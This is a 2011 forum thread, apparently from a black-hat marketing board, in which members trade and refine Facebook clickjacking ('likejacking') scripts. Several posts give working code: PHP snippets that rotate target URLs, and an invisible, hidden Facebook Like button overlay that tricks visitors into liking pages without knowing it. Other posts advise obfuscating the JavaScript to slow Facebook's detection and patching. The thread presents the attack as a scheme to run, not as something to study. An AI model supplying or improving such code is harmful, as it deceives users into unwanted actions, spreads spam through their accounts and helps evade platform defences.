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rotating clickjacking script?

Discussion in 'FaceBook' started by zimsabre, Jul 28, 2011.

  1. zimsabre

    zimsabre Regular Member

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    are there any clickjacking scripts that share links on walls on rotation? theory being it would take FB longer to clamp down and block a website if there was a list of over 100 sites rotating all clickjacking from multiple domains.
     
  2. carnage_100101

    carnage_100101 BANNED BANNED

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    Yes most newer scripts have this ability.Its just an array of URLs in the php config/index.
     
  3. zimsabre

    zimsabre Regular Member

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    Where do people share / sell these scripts?
     
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    carnage_100101 BANNED BANNED

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    You have to meet the right person ;) or learn to code.I dont see many scripts for sale here,Every now and then someone will share 1 but i wouldnt depend on that...
     
  5. zimsabre

    zimsabre Regular Member

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    True, i wouldent share if i had one, ill have to do some digging. or outsource a custom one.
     
  6. Fuggz

    Fuggz Jr. VIP Jr. VIP Premium Member

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    Carnage is correct, most of the ones floating around now have an array (usually .js not PHP) of URL's, description, ect. that will rotate automatically. It seems that now instead of getting a "confirm" or having your domain banned you need to worry about making a workaround for the small fixes facebook has been making.

    Lately a clickjacking script will work for about a day before facebook patches it and you will need to make a quick fix.
     
  7. chatmasta

    chatmasta Junior Member

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    Don't know why you would store a list of ALL YOUR URLs in your .js file...
     
  8. Fuggz

    Fuggz Jr. VIP Jr. VIP Premium Member

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    So it can rotate between them obviously. Unlike 90% of the fb marketers here I encrypt my .js files with an encoder that is very hard to decode, and to keep people from stealing my scripts.

    This is one of the main reasons the autoshare last week got patched, so many people just throwing up scripts on domains that were not decoded so before too long everyone had the script, including facebook.

    IMO there are two types of fb marketers out there, those that attempt to preserve the life of viral scripts and those who don't.

    Let me guess which column you fall into...
     
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    tymillz Super Moderator Staff Member Jr. VIP Premium Member

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    Couldn't have said it better myself.
     
  10. crazyflx

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    If you make the page you have the clickjack script on a .php page, here is a simple way to rotate the URLs you're having appear on their wall as "liking" when they've been clickjacked:

    (this is a pretty poor example, but it would work)
    Code:
    <?php
    $random = (rand()%7);
    $url = "http://someurl.com";
    
    if ( $random == 0 ) {
    $url = "http://someurl1.com";
    }
    if ( $random == 1 ) {
    $url = "http://someurl2.com";
    }
    if ( $random == 2 ) {
    $url = "http://someurl3.com";
    }
    if ( $random == 3 ) {
    $url = "http://someurl4.com";
    }
    if ( $random == 4 ) {
    $url = "http://someurl5.com";
    }
    if ( $random == 5 ) {
    $url = "http://someurl6.com";
    }
    if ( $random == 6 ) {
    $url = "http://someurl7.com";
    }
    ?>
    
    
    You'd just put that anywhere in the page.

    Then the "clickjack: part of the code, which should look something like what I'm about to paste below, would look like this (just pay attention to the part where the URL you're jacking likes is...scroll to the right, it's in red):

    Code:
    </div>
    <div id="wrapper" style="position: absolute; opacity: 0.0; filter:  alpha(opacity = 0); margin-left: -50px; z-index: 0;  visibility:hidden;"> 
    <script  src="http://connect.facebook.net/en_US/all.js;xfbml=1"></script><fb:like  href="[COLOR=Red]<?php echo $url; ?>[/COLOR]" send="false" layout="button_count"  width="100" show_faces="true" font="arial"></fb:like>
    </div>
     
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  11. meannn

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    It's too easy to do it. crazyflx's code is good, however, too many if statements can slower the script. Use this;

    PHP:
    $random rand(0,10);

    $url[0] = "http://someurl.com";
    $url[1] = "http://someurl.com";
    $url[2] = "http://someurl1.com";
    $url[3] = "http://someurl2.com";
    $url[4] = "http://someurl3.com";
    $url[5] = "http://someurl4.com";
    $url[6] = "http://someurl5.com";
    $url[7] = "http://someurl6.com";
    $url[8] = "http://someurl7.com";
    $url[9] = "http://someurl7.com";
    $url[10] = "http://someurl7.com";

    echo 
    $url[$random];
     
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  12. Fuggz

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    @arnes_king: absolutely! PM me for more info, I would love it if everyone started encrypting their files!

    Personally I use this script for all my rotating needs I have only shared once before.

    Make a PHP file called "rotate.php" with this code in it:

    PHP:
    <?php  
    $MESSAGE 
    ''//Your Message  

    $random_url get_random_url_from_file();  

    $MESSAGE str_replace('REPLACE_WITH_ACTUAL_URL'$random_url$MESSAGE); 

     
    // test output: print $MESSAGE;   

    function get_random_url_from_file() {    

    $path_to_file 'urls.txt';    

    $urls file($path_to_fileFILE_IGNORE_NEW_LINES FILE_SKIP_EMPTY_LINES);    

    $rand_keys array_rand($urls2);    return $urls[$rand_keys[0]]; }  ?>
    Do not change anything with the script. (If you want a different version of the code to rotate apps, ect let me know)

    Now make a file in the same directory called "urls.txt"

    That will be where you populate your list of urls that will rotate between. Now, wherever you need the url that will be posted, just put this instead of the url:

    <?php include_once "rotate.php"; ?>


    Now why is this a better script to use than the 2 above examples?

    If you need to change (add or remove) any of the urls you dont have to touch the php, just change the urls.txt document!

    i was going to share this a few times but didn't have the time, if/when it's needed I will start a new thread about it.
     
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  13. sviedinys

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    FB changed something in these kind of scripts? It worked few days ago for me and now, cursor to click on button disappeared, checked other people same scripts or similar, and button not appearing at all on page load.
     
  14. MichaelWestern

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    Can be a nice idea to dev
     
  15. Fuggz

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    There was someone selling a slightly modified version of what I posted (which was custom script owned by me) for $50 a while ago.

    I would suggest researching facebook clickjacking scripts there is a new one posted here almost weekly and most are short lived, not viral, and saturated. Typically in my opinion clickjacking is what most of the facebook newcomers start off with and there is hardly anyone having success with likejacking anymore. The ones that usually do are putting in a lot of effort for little gain usually nowadays anyways.
     
  16. hideki_

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    I am using meann`s way. When the first likejacking script appeared, (its a JS) I managed to make it work that way. Just simple search on JS random function and some code tinkering.
     
  17. sviedinys

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    Its still possible, just need traffic, drive it and after few days confirm will disappear, but if it gets very viral, most of the time its getting down fast. Not sure about rotating urls, will try it now.